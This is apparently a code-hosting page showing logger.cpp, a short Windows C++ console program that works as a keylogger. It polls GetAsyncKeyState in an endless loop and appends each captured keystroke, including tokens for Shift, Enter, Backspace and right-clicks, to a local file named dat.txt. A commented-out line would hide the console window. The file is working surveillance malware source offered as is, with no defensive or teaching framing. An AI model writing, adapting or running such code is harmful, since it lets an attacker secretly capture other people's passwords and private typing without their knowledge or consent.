-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathlogger.cpp
83 lines (71 loc) · 1.31 KB
/
logger.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
// logger.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#define _WIN32_WINNT 0x0500
#include <Windows.h>
#include <string>
#include <stdio.h>
#include <iostream>
#include <fstream>
using namespace std;
bool SpecialKeys(int key);
int _tmain(int argc, _TCHAR* argv[])
{
//ShowWindow(GetConsoleWindow(), SW_HIDE);
//auto KEY = 'x';
while (true) {
Sleep(10);
for (auto key = 8; key <= 190; key++)
{
if (GetAsyncKeyState(key) == -32767) {
if (SpecialKeys(key) == false) {
cout<<char(key);
fstream LogFile;
LogFile.open("dat.txt", fstream::app);
if (LogFile.is_open()) {
LogFile << char(key);
LogFile.close();
}
}
}
}
}
}
void LOG(string input) {
fstream LogFile;
LogFile.open("dat.txt", fstream::app);
if (LogFile.is_open()) {
LogFile << input<<endl;
LogFile.close();
}
}
bool SpecialKeys(int Key) {
switch (Key) {
case VK_SPACE:
cout << " ";
LOG(" ");
return true;
case VK_RETURN:
cout << "\n";
LOG("\n");
return true;
case '¾':
cout << ".";
LOG(".");
return true;
case VK_SHIFT:
cout << "#SHIFT#";
LOG("#SHIFT#");
return true;
case VK_BACK:
cout << "\b";
LOG("\b");
return true;
case VK_RBUTTON:
cout << "#R_CLICK#";
LOG("#R_CLICK#");
return true;
default:
return false;
}
}